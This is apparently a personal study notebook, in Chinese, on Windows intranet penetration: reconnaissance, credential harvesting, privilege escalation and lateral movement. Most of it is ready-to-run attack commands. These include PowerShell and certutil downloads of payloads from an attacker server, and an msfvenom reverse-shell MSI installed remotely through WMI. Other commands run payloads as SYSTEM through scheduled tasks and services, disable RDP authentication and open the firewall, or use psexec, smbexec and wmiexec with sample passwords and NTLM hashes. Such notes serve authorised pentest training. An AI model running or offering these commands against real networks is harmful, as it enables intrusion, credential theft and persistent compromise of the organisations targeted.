内网学习

信息收集

这里主要是一些命令

https://blog.csdn.net/qq_44632190/article/details/114409601

https://www.gm7.org/archives/6029

命令

基本命令

  • 主机名 hostname

  • 查询所有计算机名称 dsquery computer

    • 查看配置及补丁信息

      systeminfo``wmic qfe get description,installedOn /format:csv

  • 查看版本 ver

    • 进程信息

      tasklist /svc``wmic process get caption,executablepath,commandline /format:csv``get-process

  • 查看所有环境变量 set

  • 查看计划任务 schtasks /QUERY /fo LIST /v

  • 查看安装驱动 DRIVERQUERY

    • 查看操作系统信息

      架构 wmic os get osarchitecture系统名 wmic os get caption

  • 查看逻辑盘 wmic logicaldisk get caption

  • 查看安装的软件信息 wmic product get name,version

    • 查看服务信息

      wmic service list brief``sc query``Get-WmiObject win32_service | select PathName

域信息

  • 获取当前组的计算机名 net view

  • 网络发现 net view /all

  • 查看所有域 net view /domain

  • 域森林、域树信息

  • 域信任信息 nltest /domain_trusts

  • 定位域控 net time /domain

  • 查看域中的用户名 dsquery user

  • 查询域组名称 net group /domain

  • 查询域管理员 net group "Domain Admins" /domain

    • 域控信息

      nltest /dclist:xx``Get-NetDomain``Get-NetDomainController``net group "Domain controllers"

  • 组策略

用户信息

    • 查看用户

      net user``whoami / whoami /priv / whoami /all``wmic useraccount get /ALL /format:csv

  • 用户特权信息 whoami /priv

  • 查看当前权限 net localgroup administrators

  • 查看在线用户 quser / qwinsta / query user

  • 查看当前计算机名,全名,用户名,系统版本,工作 站域,登陆域 net config Workstation

  • ACL 信息 get-acl

网络信息

  • 内网网段信息

  • 网卡信息 ipconfig

  • 外网出口

  • ARP表 arp -a

  • 路由表 route print

  • 监听的端口 netstat -ano

  • 连接的端口

    • 端口信息

      Get-NetTCPConnection

  • hosts文件

  • 主备 DNS

    • DNS缓存

      ipconfig /displaydns``Get-CimInstance -Namespace root/StandardCimv2 -ClassName MSFT_DNSClientCache

    • 探测出网情况

      powershell -c “1..65535 | % {echo ((new-object Net.Sockets.TcpClient).Connect(‘allports.exposed’,$)) $ } 2>$null”

防火墙

  • 查看防火墙状态 netsh advfirewall show allprofiles
  • 防火墙日志目录 netsh firewall show logging
  • 防火墙规则 netsh advfirewall firewall show rule name=all
  • netsh firewall show config
  • netsh firewall show state

密码信息

  • Windows RDP连接记录

  • 浏览器中保存的账号密码

  • 系统密码管理器中的各种密码

    • 无人值守安装文件中的密码信息

      C:\sysprep.inf``C:\sysprep\sysprep.xml``C:\Windows\Panther\Unattend\Unattended.xml``C:\Windows\Panther\Unattended.xml

票据信息

  • cmdkey /l
  • klist
  • msf meterpreter

特殊文件

    • 文档

      xlsx / xlsdocx / docpptx / pptvsdx / vsdmd / txt

    • 压缩文件

      zip / rar / 7z

    • VPN配置

      ovpn

    • 代码

      py / php / jsp / aspx / asp / sql

    • 配置文件

      conf / ini / xml

    • 特定关键字

      账号 / 账户 / 登录 / login / user密码 / pass代码 / 文档 / 交接 / 备份 / git / svn邮箱 / 通讯录 / 集群 / 办公代理 / 内网 / VPN设备 / 资产系统 / 运维 / 拓扑 / 网络 / IT后台 / 管理员 / 数据库监控 / 隔离 / 防火墙 / 网闸 / 巡检

局域网存活主机

  • NetBIOS扫描
  • OXID扫描

其他

  • 启用的共享文件夹

  • 回收站

  • 最近运行的命令

  • 访问文件历史记录

    • 查看补丁安装情况

      wmic qfe get Caption,Description,HotFixID,InstalledOn

    • 日志与事件信息

      wevtutil``eventvwr

    • 注册表信息

      reg

  • 安装的各类 agent 监控软件

  • 安装的杀毒软件

    • 查看/设置后缀关联

      assoc``assoc .ext=example

  • PowerShell 版本

  • .Net 版本

  • Wi-Fi 密码

域内资源探测(内网信息收集)

https://www.cnblogs.com/arrest/articles/17690689.html

前言:在内网滲透中,测试人员往往需要通过各种内网扫描技术来探测内网资源的情况,为后续的横向渗透做准备,通常需要发现内网存活的主机,并探测主机的操作系统、主机开放了哪些端口、端口上运行了哪些服务、服务的当前版本是否存在已知漏洞等信息。

0x01:发现内网存活主机

可以根据当前滲透环境,选用 ICMP、 NetBIOS、 UDP、 ARP、 SNMP、 SMB等多种网络协议。按照协议类型,下面介绍使用常见工具来发现内网存活主机的方法。

1.基于ICMP 发现存活主机

ICMP (Internet ControlMessageProtocol,因特网控制消息协议)是TCP/IP协议族的一个子协议,用于网络层的通信, 即IP 主机、路由器之间传递控制消息,提供可能发生在通信环境 中的各种问题 反馈。 通过这些信息, 管理员可以对发生的问题做出诊断,然后采取适当的措施解决。

在实际利用中,可以通过ICMP 铺环对整个网段中的每个卫地址执行ping 命令,所有能够ping 通的IP 地址即为内网中存活的主机。

在目标主机中执行以下命令,循环探测整个局域网C段中存活的主机

1
for /L %I in (1,1,254) DO @ping -W l -n l 10.10.10.%I | findstr "TTL="

2.基于 NetBIOS(网络基本输入/输出系统)协议发现存活主机

NetBIOS 提供 OSI/RM 的会话层(在 TCP/P 模型中包含在应用层中)服务,让不同计算机上运行的不同程可以在局域网中互相连接和共享数据。严格来说,NetBIOS 不是一种协议,而是一种应用程序接口(Application Program Interface,API)。几乎所有局城网都是在 NetBIos 协议的基础上工作的,操作系统可以利用 WINS 服务、广播、Lmhost 文件等模式将 NetB10S 名解析为相应的I 地址。NetBIOS 的工作流程就是正常的机器名解析、查询、应答的过程。在 Windows 中,默认安装 TCP/IP 后会自动安装 NetBIoS。

在实际利用时,向局域网的每个IP 地址发送 NetBOOS 状态查询,可以获得主机名、 MAC 地址等信息。

NBTScan 是一款用于扫描 Windows 网络上 NetBIOS 名称的程序,用于发现内网中存活的 Windows 主机。NBTSean 可以对给定IP 范围内的每个IP 地址发送 NetBIOS 状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、 NetBIOS 计算机名、登录用户名和 MAC 地址。

将 nbtscan.exe 上传到目标主机,执行以下命令:

1
nbtscan.exe 目标本机ip/24

探测整个局域网中存活的主机

3.基于UDP发现存活主机

UDP (User Datagram Protocol,用户数据报协议)是一种用于传输层的无连接传输的协议,为应用程序提供一种不需建立连接就可以发送封装的IP 数据包的方法。

在实际利用中,可以将一个空的 UDP 报文发送到目标主机的特定端口,如果目标主机的端口是关闭的,UDP 探测就马上得到一个 ICMP 端口无法到达的回应报文,这意味着该主机正在运行。如果到达一个开放的端口,大部分服务仅仅忽略这个空报文而不做任何回应。

Unicornscan 是 Kali Linux 平台的一款信息收集工具,提供了网络扫描功能。执行以下命令,通过 UDP 协议扫描内网的存活主机:

1
unicornscan -mU 10.10.10.0/24

4.基于ARP发现存活主机

ARP (Address Resolution Protocol,地址解析协议)是一个通过解析网络层地址來找寻数据链路层地址的网络传输协议,用于网络层通信。主机发送信息时,将包含目标 IP地址的 ARP 请求广播到局域网上的所有主机,并接收返回消息,以此确定目标的物理地址,收到返回消息后,将该 IP 地址和物理地址存入本机 ARP 缓存,并保留一定时间,下次请求时直接查询 ARP 缓存,以节约资源。

在实际利用中,可以向网络发送一个 ARP 请求,若目标主机处于活跃状态,则其一定会回应一个 ARP 响应,否则不会做出任何回应。

(1)ARP-Scan的利用https://github.com/QbsuranAlang/arp-scan-windows-

ARP-Scan 是一款快速、便捷的内网扫描工具,利用 ARP 发现内网中存活的主机。将工具上传到目标主机,执行以下命令,即可扫描内网中存活的主机:

(2)PowerShell的利用

Empire 滲透框架的 Invoke-ARPScan.ps1 脚本可利用 ARP 发现内网存活主机(https://github.com/EmpireProject/Empire)。使用时,需要将脚本导入执行:

1
2
Import-Module . IInvoke-ARPScan. ps1
Invoke-ARPScan -CIDR 10.10.10.0/24

也可以将脚本放到服务器,并通过PowerShell远程加载运行:

1
powershell.exe -exec bypass -Command "IEX(New-Object Net. webClient) .Down loadString("`[`http://your-ip`](http://your-ip/)`:port/Invoke-ARPScan.ps1");Invoke-ARPScan -CIDR 10.10.10.0/24"

5.基于 SMB (Server Message Block,服务器消息块)协议发现存活主机

SMB 又称为网络文件共享系统(Common Internet File System,CIFS)协议,是一种应用层传输协议,主要功能是使网络上的机器能够共享计算机文件、打印机、串行端口和通信等资源。CIFS 消息一般使用 NetBIOS 或TCP 发送,分别使用 139 或 445 端口,目前倾向于使用 445 端口。

在实际利用中,可以探测局域网中存在的 SMB 服务,从而发现内网的存活主机,多适用于 Windows 主机的发现。

CrackMapExec (简称 CME) 是一款十分强大的后滲透利用工具,在 Kali Linux 上可以直接使用 apt-get 命令进行安装。CrackMapExec 能够枚举登录用户、枚举 SMB 服关表、执行 WIRM 攻击等功能,可以帮助测试人员自动化评估大型城网络的安全性(https://github.com/Porchetta-Industries/CrackMapExec/releases)。执行以下命令:

img

让 eth0 获取 NAT IP

1
dhclient eth0

0x02:内网端口扫描

端口是一切网络入侵的入口。通过对内网主机进行端口扫描,测试人员可以确定目标主机上开放的服务类型、服务版本,并查找相应的漏洞进行攻击。测试人员可以根据目标主机的情况,上传工具进行扫描,也可以借助内网代理或路由转发对目标主机的发起扫描。

1.利用 Telnet 探测端口

Telnet 是进行远程登录的标准协议和主要方式,为用户提供了在本地计算机上完成远程主机工作的能力。telnet 命令可以简单测试指定的端口号是正常打开还是关闭状态:

telent

img

2.利用Nmap进行端口扫描

Nmgp 是一个十分强大的端口扫描工具,在实际利用中可以借助内网代理对内网主机进行端口扫描。关于 Nmap 的使用,读者可以查阅相关资料。下面仅给出几个常用的扫描命令,更多使用方法请参考 Nmap 官方手册。

执行以下命令,扫描目标主机的指定端口:

1
nmap -p 80,88,135,139,443,8080,3306,3389 10.10.10.11

执行以下命令,扫描目标主机开放的全部端口:

1
nmap -ss -p 1-65535 10.10.10.11

img

扫描并获取目标主机指定端口上开放的服务版本:

1
nmap -sC -sV -p 80,88, 135,139,443,8080,3306,3389 10.211.55.3

img

3.利用PowerShell进行端口扫描

NiShang 是基于 PowerShell 的渗透测试专用框架,集成了各种脚本和 Payload,广泛用于渗透测诚的各阶段。

NiShang 的 Scan 模块中也有一个 Invoke-PortsCan.psl 脚本,可以用来对主机进行端口扫描(https://github.com/samratashok/nishang)。

img

执行以下命令:对内网的一个主机范围执行默认的端口扫描:

1
Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.20 -ResolveHost -ScanPort

执行以下命令:对内网中的一个主机范围扫描指定的端口:

1
powershell.exe -exec bypass -Command "IEX (New-Object Net. WebClient) .DownloadString("http://your-ip:port/Invoke-portscan. ps1'");Invoke-PortScan -StartAddress 10.10.10.1 EndAddress-10.10.10.20 -ResolveHost -ScanPort -Port 80,88,135,139,443,8080,3306,3389"

0x03:利用MetaSploit探测内网

MetaSploit 渗透框架中内置了几款资源收集模块,可用于发现内网存活主机、探测内网服务、对目标主机进行端口扫描:

0x04:获取端口Banner信息

Banner 中可能包含一些敏感信息。通过查看端口的 Banner,测试人员往往可以获取软件开发商、软件名称、服务类型、版本号等信息,根据不同的服务,可以制订不同的攻击方案,而服务的版本号有时会存在公开的漏洞可以被利用。

1.利用 NetCat 获取端口 Banner

Netcat 是一款常用的测试工具和黑客工具,使用 NetCat 可以轻易建立任何连接,具有“瑞士军刀〞的美誉。通过指定 NetCat 的“-nv〞选项,可以在连接指定的端口时获取该端口的 Banner 信息。

1
nc -nv <ip> <port>

2.利用Telnet获取端口Banner

如果目标端口开放,使用 Telnet 连接后,也会返回相应的 Banner 信息

1
telent <IP> <Port>

3.利用Nmap获取获取Banner

在 Nmap 中指定脚本“-script=banner”,可以在端口扫描过程中获取端口的 Banner信息:

1
nmap --script=banner -p <Ports> <IP>

用户凭据收集

https://cloud.tencent.com/developer/article/2204689

https://blog.csdn.net/weixin_53912233/article/details/132746656

获取域内单机密码和哈希值

核心工具 mimikatz

  • 读取lsass进程内存(需要WDigest功能开启,会把明文密码缓存在 LSASS 进程内存中,2012以上默认关闭)
  • 读取本地SAM文件

获取常见的应用软件凭据

只写一些软件提供思路

  • RDP 使用mimikatz查找加密凭据和密钥解密
  • Xshell
  • FileZilla base64解密密码
  • NaviCat 脚本解密
  • 浏览器保存的登录凭据 使用HackBrowserData
  • WinSCP Winscppwd工具解密

BloodHound自动化分析域环境

地址:https://github.com/SpecterOps/BloodHound

简易教程:https://www.freebuf.com/sectool/179002.html

端口转发与内网代理

端口转发工具

某些端口只对内开放,攻击者可以利用端口转发工具将只对内开放的端口转发给另一个不限制外联的接口

汇总:https://www.freebuf.com/sectool/308049.html

区别:

  • LCX:单个端口转发 端口->端口
  • FRP:使用SOCKS5代理,网络->网络

权限提升

总结:https://www.freebuf.com/articles/network/247980.html

https://www.freebuf.com/articles/network/250827.html

系统内核漏洞提权

系统服务提权

漏洞成因:给与低权限用户可控制高权限服务的机会

  • AccessChk:枚举系统上存在权限缺陷的系统服务,主要用于查找用户组对服务的权限

  • 未引用的服务路径:完整路径中包含空格且未有效包含在引号中

  • PowerUp:集成探测各类系统服务提权漏洞的脚本

    使用:https://cloud.tencent.com/developer/article/2539636

MSI安装策略提权

漏洞成因:MSI文件提权,即任意用户以SYSTEM权限安装MSI文件造成提权。AlwaysInstallElevated是注册表的一个键值,当其值为1时候,在系统中使用Windows Installer安装任何程序,允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

https://www.cnblogs.com/MGh0st/p/16546438.html

访问令牌操纵(用户令牌窃取)

https://www.gm7.org/archives/50596

https://www.freebuf.com/articles/network/318426.html

获得目标主机的控制权限后进行进一步提权,主要通过窃取高权限用户令牌的方式

需要当前用户有SeAssignPrimaryTokenPrivilege或SeImpersonatePrivilege特权,这两个特权允许用户再另一个用户的安全上下文中运行代码或创建新进程

使用此特权可以将已获取的NT AUTHORITY\SYSTEM账户的访问令牌传入CreateProcessWithTokenW或CreateProcessAsUserA函数进行调用,在NT AUTHORITY\SYSTEM账户的上下文中创建新进程,以提升权限

Bypass UAC

https://cloud.tencent.com/developer/article/2005554

绕过Windows UAC机制,使非RID 500的管理员账户不许用户批准直接使用管理员令牌

  • UAC白名单绕过

  • DLL劫持

    将同名恶意DLL文件写入待搜索的上一级目录中,但是DLL文件存放的目录一般位于系统可信任目录中,普通用户无写入权限

  • 模拟可信任目录

    根据可信任目录创建一个包含空格的模拟可信任目录,将一个白名单程序复制进去,配合DLL劫持,完成UAC绕过

  • 工具

    • UACME
    • MetaSploit bypassuac

用户凭据操作

一些用户账户和密码被哈希加密后保存在文件里,我们找到解密后即可利用提权

  • 枚举Unattended凭据

  • 获取组策略凭据

  • Hive Nightmare

    提权漏洞 标准用户能够读取SAM文件,通过暴力破解哈希值获取密码或哈希传递实现提权

  • Zerologon域内提权

    • 通过漏洞重制域控制器密码,连接域控后导出域管理员哈希值,哈希攻击后获取SYSTEM权限
    • 回复域控密码

Certifried域内提权

通过更改机器用户证书的dNSHostName值与域控制器的计算机账户的值相同,欺骗AD CS,申请到域控制器的AD证书,从而实现域用户管理员身份验证提权

https://whoamianony.top/posts/certifried-active-directory-domain-privilege-escalation/

内网横向移动

https://www.freebuf.com/articles/network/382754.html

https://tttang.com/archive/1890/#toc_at-schtasks-sc

横向场景

文件传输

通过网络共享

https://www.cnblogs.com/-mo-/p/11813608.html

与内网中其他主机建立IPC$共享通道,实现所有文件共享,和其他远程管理操作,包括创建计划任务或系统服务

条件:

  • 远程主机开启IPC连接
  • 远程主机开放445和139端口
  • 获取到本机的用户凭据(建立连接时需要用户名密码)

搭建SMB服务器

https://cloud.tencent.com/developer/article/1423156

将exp传入SMB服务器的共享文件中,让横向移动的目标主机加载SMB服务器上的攻击载荷

主要用于给目标主机传输恶意脚本

windows自带工具

  • Certutil

    Windows自带命令行工具,可以从网络中下载文件

    把攻击载荷放到服务器上可以访问下载

    1
    certutil -urlcache -split -f http://139.129.37.190:8000/1.exe D:\1.EXE

    标准用户即可执行

  • BITSAdmin

    BITSAdmin是Windows命令行工具,可以用于创建、下载或上传作业,监视其进度,WIndows7及之后版本自带此工具,具体利用指令如下

    1
    bitsadmin /transfer test http://IP:Port/shell.exe C:\users\shell.exe
  • Powershell

    1
    (New-Object Net.WebClient).DownloadFile('http://IP:Port/shell.exe','C:\shell.exe')

与SMB服务器相同,都是将攻击载荷传入跳板机的手段

创建计划任务

需要对方管理员凭据和IPC通道连接

常规

  • 利用共享连接将攻击载荷传入远程目标主机

  • 建立IPC连接或指定用户凭据在远程主机创建计划任务,定时执行上传的攻击载荷

    1
    2
    schtasks /Create /S IP /TN 计划任务名称 /SC minute /MO 1 /TR C:\shell.exe /RU System /F
    #/S 要连接的系统 /TN 指定创建的计划任务名称 /SC 指定计划任务执行频率 /MO 指定计划任务执行周期 /TR 指定计划任务运行的程序路径 /RU 指定计划任务运行的用户权限 /F 如果指定的任务存在,则强制创建(覆盖)

    也可以通过计划任务执行系统指令,将结果写入到文件中,然后通过type进行远程文件读取。

    具体指令如下

    1
    schtasks /Create /S 192.168.128.131 /TN Backdoor2 /SC minute /MO 1 /TR "C\Windows\System32\cmd.exe /c 'whoami' > C:\result.txt" /RU System /F /U Administrator /P Qq123456.

    接下来读取即可

    1
    type \\192.168.128.131\C$\result.txt
  • 成功上线后删除任务

    1
    schtasks /DELECT /S 192.168.128.131 /TN Backdoor /F

UNC路径加载执行

WIndows系统中使用UNC路径来访问网络共享资源

创建计划任务访问SMB服务器上的攻击载荷

1
2
3
4
5
//创建任务
schtasks /Create /S 192.168.128.131 /TN Backdoor /SC minute /MO 1 /TR \\192.168.1.4\evilsmb\abc.exe /RU System /F /U Administrator /P Qq123456.

//启动任务
schtasks /RUN /S 192.168.128.131 /I /TN Backdoor /U Administrator /P Qq123456.

利用系统服务

需要拥有两端主机的管理员权限和IPC连接

创建远程服务

  • 上传攻击载荷

  • 创建系统服务

    1
    2
    3
    4
    sc \\192.168.128.131 create Backdoor binpath="cmd.exe /k C:\abc.exe"
    #binpath,指定服务启动时运行的二进制文件,注意"="后需要有一个空格

    sc \\192.168.128.131 start Backdoor

SCShell

https://www.cnblogs.com/micr067/p/14126570.html

无文件横向移动工具,需要管理员用户凭据,可以更改远程主机服务的二进制路径为指定攻击载荷

UAC Remote Restrictions

https://learn.microsoft.com/zh-cn/troubleshoot/windows-server/windows-security/user-account-control-and-remote-restriction

本地用户帐户(安全帐户管理器用户帐户)

例如,当作为目标远程计算机上的本地管理员组成员的用户使用 net use *\\remotecomputer\Share$ 命令建立远程管理连接时,他们不会作为完全管理员进行连接。 用户在远程计算机上没有提升潜力,用户无法执行管理任务。 如果用户想要使用安全帐户管理器(SAM)帐户管理工作站,则如果用户必须以交互方式登录到要通过远程协助或远程桌面管理的计算机(如果这些服务可用)。

域用户帐户(Active Directory 用户帐户)

具有域用户帐户的用户远程登录到 Windows Vista 计算机。 并且,域用户是管理员组的成员。 在这种情况下,域用户将在远程计算机上使用完全管理员访问令牌运行,并且 UAC 不会生效。

需要管理员身份执行此命令重启关闭UAC Remote Restrictions

1
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

远程桌面利用

端口:TCP3389

可能将已登录用户强制退出,容易被发现

远程桌面协议(Remote Desktop Protocol,RDP)

查询注册表确定是否主机开启了远程桌面

1
2
reg query "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections 
# 若字段值为0,则表示已启动RDP;若为1,则表示禁用RDP

开启远程桌面

1
2
3
4
5
6
# 开启远程桌面 
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# 关闭“仅允许运行使用网络级别身份验证的远程桌面的计算机连接”(鉴权)
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0
# 设置防火墙策略放行3389端口
netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow

对于远程主机,可以通过WMI来开启远程桌面功能

1
wmic /Node:192.168.1.131 /User:uf9n1x\Administrator /Password:123qwe@ RDTOGGLE WHRER ServerName='win2008' call SetAllowTSConnections 1

RDP Hijack

Windows系统下,tscon可被用来切换远程桌面的会话。正常情况下,切换会话时需要提供登录密码,但通过特殊的利用方法能够绕过验证,不输入密码实现未授权登录。

可以通过query user来列出所有登录的用户列表,得到id

在SYSTEM权限下,使用**tscon **来切换用户不需要验证密码。

sharp RDP

https://github.com/0xthirteen/SharpRDP

sharp rdp可以通过远程桌面协议在远程主机上执行系统命令,且不需要GUI客户端。

工具需要远程主机开启远程桌面功能,且防火墙放行3389端口

SMB协议的利用

psexec

psExec是微软官方提供的一个Windows远程控制工具,可以根据凭据在远程系统上执行管理操作,并且可以获得与命令行几乎相同的实时交互性。该工具在MSF框架中也有集成。

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开方3389端口,只需要对方开启admin$共享 (该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于PsExec是Windows提供的工具,所以杀毒软件将其列在白名单中。

PsExec的基本原理

  • 通过ipc$连接,释放二进制文件psexecsvc.exe到目标
  • 通过服务管理SCManager远程创建一个psexec服务,并启动服务
  • 客户端连接执行命令,服务端通过服务启动相应的程序执行命令并回显数据
  • 运行结束后删除服务

psexec的使用前提:

  • 对方主机开启了 admin$ 共享,如果关闭了admin$共享,会提示:找不到网络名
  • 对方未开启防火墙或放行445端口
  • 如果是工作组环境,则必须使用administrator用户连接(因为要在目标主机上面创建并启动服务),使用其他账号(包括管理员组中的非administrator用户)登录都会提示访问拒绝访问。
  • 如果是域环境,即可用普通域用户连接也可以用域管理员用户连接。连接普通域主机可以用普通域用户,连接域控只能用域管理员账户。

用法:

1
2
3
psexec.exe -accepteula \\192.168.1.131 -u Administrator -p 123qwe@ -s cmd.exe 
# -accepteula 禁止弹出许可证对话框
# -s 以SYSTEM权限启动进程

如果已经建立IPC连接,那么可以直接使用psexec连接远程主机

1
psexec.exe -accepteula \\192.168.1.131 -s cmd.exe

或者不提取shell,直接用目标系统的cmd.exe的/c选项在目标主机上执行命令,并得到回显(与前面的at命令相似)

1
2
3
PsExec.exe \\192.168.1.131 <Command>
PsExec.exe \\192.168.1.131 cmd.exe /c "ipconfig"
PsExec.exe \\192.168.1.131 -u Administrator -p 123qwe@ cmd.exe /c "ipconfig"

smbexec

无需先 ipc 链接, 明文或 hash 传递(第三方库)

1
2
3
4
5
6
smbexec uf9n1x/administrator:123qwe@@192.168.1.131
smbexec ./administrator:123qwe@@192.168.1.131
smbexec -hashes :$HASH$ ./admin@192.168.1.131
smbbexec -hashes :$HASH$ domain/admin@192.168.1.131
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.131
smbexec -hashes :ccef208c6485269c20db2cad21734fe7 uf9n1x/administrator@192.168.1.131

WMI的利用

WMI(Windows Management Instrumentation,Windows管理规范)时一项核心的Windows管理技术。用户可以通过WMI管理本地和远程主机。

Windows为传输WMI数据提供了两个可用的协议:分布式组件对象模型(Distributed Component Object Model, DCOM)和Windows远程管理(Window Remote Management,WinRM)使得WMI对象的查询、事件注册、WMI类方法的执行和类的创建等操作都能远程运行。

在横向移动时,可以利用WMI提供的管理功能,通过以获取的用户凭据,与本地或远程主机进行交互,并控制其执行各种行为。目前两种常见的利用方法:
1、 通过调用WMI的类方法进行远程调用,如Win32_Process类中的Create方法可以在远程主机上创建进程,Win32_Product类的Install方法可以在远程主机上安装恶意的MSI
2、 远程部署WMI事件订阅,在特定事件发生时触发

利用WMI进行横向移动需要具备以下条件:
1、远程主机的WMI服务为开启状态(默认开启)
2、远程主机防火墙放行135端口,这是WMI管理的默认端口

常规利用方法

执行远程查询

通过WMI查询远程主机上运行的进程信息

1
2
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ process list brief 
# /node 执行远程主机的地址 /user 远程主机用户名

创建远程进程

通过调用Win32_Process.Create方法在远程主机上创建进程,启动CMD来执行命令

由于WMIC在执行命令时没有回显,因此可以将执行结果写入文件,然后通过别的方式读取文件

1
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ process call create "cmd.exe /c ipconfig > C:\result.txt"

读取文件

1
type \\192.168.1.131\C$\result.txt

远程安装MSI文件

使用msf生成恶意msi文件

1
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.131 LPORT=1122 -f msi -o reverse_tcp.msi

将恶意文件传入SMB服务器共享文件

通过调用Win32_Product.Install方法,可以控制远程主机安装恶意MSI文件,从而获得权限

1
wmic /node:192.168.1.131 /user:Administrator /password:123qwe@ product call install PackageLocation="\\192.168.1.1\mysmb\reverse_tcp.msi"

常见利用工具

WmiExec(交互式/半交互式)

Impacket项目的Wmiexec.py能够以全交互或半交互的方式,通过WMI在远程主机上执行命令。该工机需要远程主机开启135和445端口,其中445端口用于传输命令执行的回显。

1
2
python wmiexec.py uf9n1x/Administrator:123qwe@@192.168.1.131 
#python wmiexec.py <Domain>/<Username>:<Password>@<IP>

在Windows平台上使用,可通过PyInstaller,将wmiexec.py打包成独立的EXE可执行文件

1
2
3
pip3 install pyonstaller
cd impacket\exammples
pyinstaller -F wmiexec.py

打包完成后将exe文件上传到windows主机运行

1
2
3
4
wmiexec.exe ./administrator:123qwe@@192.168.1.131 "whoami" 
wmiexec.exe god/administrator:Admin12345@192.168.1.131 "whoami"
wmiexec.exe -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.1.131 "whoami"
wmiexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 uf9n1x/administrator@192.168.1.131 "whoami"

WMI事件订阅的利用

WMI提供了强大的事件处理系统,几乎可以用于操作系统上发生的任何事件做出相应。

当创建某进程时,通过WMI事件订阅器来执行预先设置的脚本。
其中触发事件的具体条件被称为“事件过滤器”(Event Filter),如用户登录、新进程创建等;对指定事件发生做出相应的称为“事件消费者”(Event Consumer),包括一系列具体的操作,如运行脚本、记录日志、发送邮件等。
在部署事件订阅时,需要分别构建Filter和Consumer两部分,并将两者绑定在一起。

所有的事件过滤器都被存储在一个Root\subscription:__EventFiilter对象的实例,可以通过创建**__EventFilter对象实例来部署事件过滤器。事件消费者是基于ROOT\subscription:__EventConsumer系统类**派生来的类。

系统提供了常用的标准事件消费类

1
2
3
4
5
LogFileEventConsumer    # 将事件数据写入指定的日志文件 
ActiveScriptEventConsumer # 执行嵌入的VBScript或JavaScript
NTEventLogEventConsumer # 创建一个包含事件数据的事件日志条目
SMTPEventConsumer # 发送一封包含事件数据的电子邮件
CommandLineEventConsumer # 执行指定的系统命令

手动利用

创建一个__EventFilter类的实例和一个和CommandLineEventConsumer的实例绑定在一起,部署一个事件订阅

Sharp-WMIEvent

https://github.com/wh0Nsq/Sharp-WMIEvent

搭建SMB共享服务器,将攻击载荷传入共享目录

在远程主机上部署一个随即命名的永久事件订阅,并每隔60s执行以此SMB共享中的攻击载荷

1
Sharp-WMIEvent -Trigger Interval -IntervalPeriod 60 -ComputerName 192.168.1.131 -Domain uf9n1x.com -Username Administrator -Password 123qwe@ -Command "cmd.exe / c \\10.10.10.147\reverse_tcp.exe"

DCOM利用

COM(Component Object Model,组件对象模型)是微软的一套软件组成的二进制接口标准,使得跨编程语言的进程间通信、动态对象创建成为可能。COM指定了一个对象模型和编程要求,使COM对象能够与其他对象交互。这些对象可以在单个进程中,也可以在其它进程中,甚至可以在远程计算机中。在Windows中,每个COM对象都由唯一的128位的二进制标识符标识,即GUID。

DCOM(Distracted Component Model,分布式组件对象模型)是基于COM的一系列概念和程序接口,支持不同机器上的组件间通信。利用DCOM,客户端程序对象可以请求来自网络中另一台计算机上的服务器程序对象。

COM本地组件调用,DCOM远程组件调用

通过DCOM进行横向移动

部分DCOM组件公开的接口中可能包含不安全的方法。执行以下命令,可以列出计算机上所有的DCOM程序组件

1
Get-CimInstance Win32_DCOMApplication

目前常利用的DCOM组件有:MMC20.Application、ShellWindows、Excel.Application、ShellBrowserWindow等。

使用DCOM在远程主机上面执行命令,需要具有以下条件:

  • 具有管理员权限的PowerShell
  • 可能需要关闭目标系统的防火墙
  • 在远程主机上执行命令时,必须使用域管的administrator账户或者目标主机具有管理员权限的账户

MMC20.Application

搭建SMB匿名共享服务,将生成的攻击载荷放入共享目录

MMC20.Application对象的Document.ActiveView下存在一个ExecuteShellCommand方法,可以用来启动子进程并运行执行的程序或系统命令。

1
2
3
4
5
6
# 通过progID与DCOM进行远程交互,并创建MMC20.Application对象的示例 
$com =[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.131"))

# 调用ExecuteShellCommand方法启动进程,运行攻击载荷 $com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.1.1\mysmb\reverse_tcp.exe", "Minimized")

# 合并一句话 [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.131")).Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c \\192.168.1.1\mysmb\reverse_tcp.exe", "Minimized")

执行成功MMC20.Application会启动mmc.exe进程,通过ExecuteShellCommand创建reverse_tcp.exe的子进程

ShellWindows

ShellWindows组件提供了Document.Application.ShellExecute方法,适用于Windows7及以上的系统。

1
2
3
4
5
6
7
# 通过PowerShell与DCOM进行远程交互,创建ShellWindows对象的实例: 
$com=[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1 .131"))

# 然后执行如下命令,我们就可以调用该对象的"ShellExecute"方法在远程主机上启动进程: $com.item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)

# 完整的命令:
[Activator]::CreateInstance([Type]::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"192.168.1.131")).item().Document.Application.ShellExecute("cmd.exe","/c C:\shell.exe","c:\windows\system32",$null,0)

